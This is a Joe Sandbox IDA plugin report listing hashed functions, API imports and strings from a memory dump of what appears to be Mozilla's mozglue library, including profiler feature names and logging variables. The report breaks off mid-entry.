Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 05321232B046158FC718DE2CC890E6ABBE6AFC9310F49866DE895CB395D730ED05CB91

Function 6C4A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C4A7A93

Part of subcall function 6C475C50: GetTickCount64.KERNEL32 ref: 6C475D40
Part of subcall function 6C475C50: EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C475D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C4A7AA1

Part of subcall function 6C475C50: __aulldiv.LIBCMT ref: 6C475DB4
Part of subcall function 6C475C50: LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C475DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C4A7B31

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 025c2c76c4232cab5a9afc1c7a782e8c286e052448cac334f157550c7cdd939f
Instruction ID: 7266bb63fc725c9fd2c61957a075b48fe50f0b4b3bb40e78fc3684bd2de31bb8
Opcode Fuzzy Hash: 025c2c76c4232cab5a9afc1c7a782e8c286e052448cac334f157550c7cdd939f
Instruction Fuzzy Hash: B7B19D356083808BDB24CFA4C050F9FB7E2ABD5318F154A1CE99567799DB70E90BCB82

Function 6C478850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C479813, 6C47985D, 6C479878, 6C479CEB
MOZ_CRASH(), xrefs: 6C4797EA

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 537ab5ab192b7c2cc3ff623f241bb3c7b9487e2c3a79f99faf139acaf648f84d
Instruction ID: 0a2f2c8998761116e086d49b23dbedd59f40cbaded72772b49c273074edfe201
Opcode Fuzzy Hash: 537ab5ab192b7c2cc3ff623f241bb3c7b9487e2c3a79f99faf139acaf648f84d
Instruction Fuzzy Hash: 9AD2BE71A156018FC728CF28C590F55BBE1BF95324F29C76DE86A8B7A5C732E841CB90

Function 6C496CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C496D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C496E1E

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 7eb68117e8447b98953ab3cb6488d4e70e337f78deacc06ef7529ec8c37eea72
Instruction ID: 8b29abe26e38648ddf3d59b30194481d1b3df7e5877dffadf205518923609c8a
Opcode Fuzzy Hash: 7eb68117e8447b98953ab3cb6488d4e70e337f78deacc06ef7529ec8c37eea72
Instruction Fuzzy Hash: A9A169746183918FDB15DF24C490FAEBBE2BF88308F44495DE88A87751DB70A949CBD2

Function 6C4BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C4BB720
RtlNtStatusToDosError.NTDLL ref: 6C4BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C48FE3F,00000000,00000000,?,?,00000000,?,6C48FE3F), ref: 6C4BB760

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: ee3d246db4fad94876a969f7a676cb9a7f47d77d699291382afc0b4e1f7bc302
Instruction ID: 314d9e181e84603cc1c731b20dc594ddf9647bbe1221ee760fa402edbd02604d
Opcode Fuzzy Hash: ee3d246db4fad94876a969f7a676cb9a7f47d77d699291382afc0b4e1f7bc302
Instruction Fuzzy Hash: 99F04FB0E4420DAEEF01EAA58CC5FEEB7BD9B0431AF105229E511756C0DB74A5C8CAA1

Function 6C474640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C474777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C475585, 6C4755A8, 6C4755C3, 6C475624

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: cbdb2324699418f371de8b32c2470b3c5ae87285f9c2cdbc93e124021f09e913
Instruction ID: 0e6d984086050f718213c1ff5e885cdea7ab046f00b9821ce6fcee9bac1919ea
Opcode Fuzzy Hash: cbdb2324699418f371de8b32c2470b3c5ae87285f9c2cdbc93e124021f09e913
Instruction Fuzzy Hash: 8CB27C71A056018FD328CF28C590F65BBE2AFC5325B29C66DE4698F7A5D731E841CB90

Function 6C4B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4B8C7C
__aulldiv.LIBCMT ref: 6C4B8DD7

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 9c05245080f629324107e77ed8dc9f1cf8addd9f9177240d052d21ed74167146
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: F4327271F0111A8BDF18CE9CC8A1FAEB7B2FB88340F15853AD506BB794D6349D458BA1

Function 6C4C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qEl, xrefs: 6C4C79C0, 6C4C7E0B, 6C4C7796, 6C4C79FB, 6C4C7B0B, 6C4C793C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: ~qEl
API String ID: 0-916298983
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2be6d66425b94612db46dea73c8c110863d2c06d7f9a80c9cf1397e66bf6f30e
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 29321775E0421A8FCB14CF98C8C0AADFBB2FF88314F648169C949A7755D731A986CF91

Function 6C4C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qEl, xrefs: 6C4C7C03, 6C4C79C0, 6C4C7E0B, 6C4C79FB, 6C4C7B0B, 6C4C793C, 6C4C7C72

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID: ~qEl
API String ID: 0-916298983
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c00763fe89ad2fd485fc6852acaad4b4b256cbae7d4ca9ffe2565f68ad1c828
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 8A22F975E042198FDB14CF98C880AADFBF2FF88304F6481A9C949A7755D731A986CF91

Function 6C495C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C464A63,?,?), ref: 6C495F06

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d664c55c1e15e848e89e6b81bef707ea9222275cf3b58c2ab228f8297a1da0c4
Instruction ID: 1b604b1d4eb129b0ddfa88030dc4aacc30bea992e5166eb7d835d072b1bdb803
Opcode Fuzzy Hash: d664c55c1e15e848e89e6b81bef707ea9222275cf3b58c2ab228f8297a1da0c4
Instruction Fuzzy Hash: 41C1A075D012298BCB04CF55D590EEEBFB2BF8931AF38825DD8556BB44D732A806CB90

Function 6C45DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54536f2928f0c3b5ad810ab7b4c3609a67fdb5a1626a0860e5b09dc5ebe827f3
Instruction ID: bce2d333b315a4932882bf3b027d94584f25de6ac1f741e9bd8b6d0382707c9a
Opcode Fuzzy Hash: 54536f2928f0c3b5ad810ab7b4c3609a67fdb5a1626a0860e5b09dc5ebe827f3
Instruction Fuzzy Hash: 3C42B472A087508BD304CE3CC490B5AF7E2BFC9364F494B2DE999A7794D738D9528B81

Function 6C480512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 0cbec862653fe2997bb0b2e5e27131cadd91d1895a7c6f34499f08fd0884c013
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 0E222671E016198FDB24CF98C890EADF7B2FF89304F548299C54AA7705D771A986CF90

Function 6C4CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed184ffb35bfd076ba9fb5b14bb070ebd80e3184128e20a36e970e1bab46110
Instruction ID: 533bfef569f73c9216d9ae2394cb235a0fac6b65b65f0762816607bd442dd9bb
Opcode Fuzzy Hash: 0ed184ffb35bfd076ba9fb5b14bb070ebd80e3184128e20a36e970e1bab46110
Instruction Fuzzy Hash: 5BF16A75B087454FD700CE28C881FAAB7E2AFC5319F148A2DE5D4877A1E774D8898793

Function 6C45C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 7bec1ba7d992ed355ed5731f23fb719f430fe79edfd930fe55c02b14268bf213
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 6FA1AE71F0021A8FDB08CE69C891BAEB7F2AFC8355F588129D915E7781DB349D168BD0

Function 6C497710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b1d2ba63ec33f60b9011a711e15919c09cacc2570cb6230d60bfdbd65cccfe7f
Instruction ID: d8dc00da43907ba318cb2b3d03424da72843577c0ddb8a7063bd872ea59c2ef7
Opcode Fuzzy Hash: b1d2ba63ec33f60b9011a711e15919c09cacc2570cb6230d60bfdbd65cccfe7f
Instruction Fuzzy Hash: 1D715B75E052298FCB18CF99D890EEDBBB2FF89314F24816ED515AB740D731A905CB90

Function 6C49CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C46582D), ref: 6C49CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C46582D), ref: 6C49CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C4CFE98,?,?,?,?,?,6C46582D), ref: 6C49CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C49CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C49CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C49CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C49CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C49CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C49CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C49CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C49CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C49CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C49CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C49CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C49CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C49CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C49CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C49CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C49CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C49CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C49CE8A

Strings

preferencereads, xrefs: 6C49CD92
notimerresolutionchange, xrefs: 6C49CE00
markersallthreads, xrefs: 6C49CE42
default, xrefs: 6C49CC21
noiostacks, xrefs: 6C49CCBE
Unrecognized feature "%s"., xrefs: 6C49CEA0
stackwalk, xrefs: 6C49CCF8
ipcmessages, xrefs: 6C49CDBE
nostacksampling, xrefs: 6C49CD7C
samplingallthreads, xrefs: 6C49CE2C
audiocallbacktracing, xrefs: 6C49CDD4
fileio, xrefs: 6C49CC92
cpuallthreads, xrefs: 6C49CE16
screenshots, xrefs: 6C49CCD4
leaf, xrefs: 6C49CC66
fileioall, xrefs: 6C49CCA8
power, xrefs: 6C49CE84
processcpu, xrefs: 6C49CE6E
unregisteredthreads, xrefs: 6C49CE58
java, xrefs: 6C49CC37
jsallocations, xrefs: 6C49CD0E
seqstyle, xrefs: 6C49CCE6
nativeallocations, xrefs: 6C49CDA8
mainthreadio, xrefs: 6C49CC7C

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: dbb3b69a04d745d5bcd3bfb39f8cc692a81ab5d7a35fdd44501bb3f22f39e6c7
Instruction ID: 47890215c5e25beab432c86cab3da43863b3461c2277e595da10cbcfa892607c
Opcode Fuzzy Hash: dbb3b69a04d745d5bcd3bfb39f8cc692a81ab5d7a35fdd44501bb3f22f39e6c7
Instruction Fuzzy Hash: D45161C5B4627512FA04F1156D20FAA1E09EB5324BF14453AED1AA1FB0FB09E70B86F7

Function 6C4647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C464801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C464817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C46482D
__Init_thread_footer.LIBCMT ref: 6C46484A

Part of subcall function 6C48AB3F: EnterCriticalSection.KERNEL32(6C4DE370,?,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284), ref: 6C48AB49
Part of subcall function 6C48AB3F: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C453527,6C4DF6CC,?,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48AB7C

GetCurrentThreadId.KERNEL32 ref: 6C46485F
GetCurrentThreadId.KERNEL32 ref: 6C46487E
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46488B
free.MOZGLUE(?), ref: 6C46493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C464956
free.MOZGLUE(00000000), ref: 6C464960
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C46499A

Part of subcall function 6C48AB89: EnterCriticalSection.KERNEL32(6C4DE370,?,?,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284), ref: 6C48AB94
Part of subcall function 6C48AB89: LeaveCriticalSection.KERNEL32(6C4DE370,?,6C4534DE,6C4DF6CC,?,?,?,?,?,?,?,6C453284,?,?,6C4756F6), ref: 6C48ABD1

free.MOZGLUE(?), ref: 6C4649C6
free.MOZGLUE(?), ref: 6C4649E9

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C464812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C4647FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C464828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C464A42
[I %d/%d] profiler_shutdown, xrefs: 6C464A06

Memory Dump Source

Source File: 00000000.00000002.2252973674.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.2252919338.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253187927.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2253244018.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 8c94b3ed6a8d4370704401dccd48ae13df177dcbe9459a60bc4dcb99055e3fe4
Instruction ID: d1a6f17753c55c06b187a7809146c0d0268bb43867a04fd790e8cfb44ac8b54e
Opcode Fuzzy Hash: 8c94b3ed6a8d4370704401dccd48ae13df177dcbe9459a60bc4dcb99055e3fe4
Instruction Fuzzy Hash: 7C812470A001009BEF10FF6AC8A4F5A37B1AF42369F140229D9169BF89D731F849CB96

Function 6C464470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C464730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4644B2,6C4DE21C,6C4DF7F8), ref: 6C46473E
Part of subcall function 6C464730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C46474A

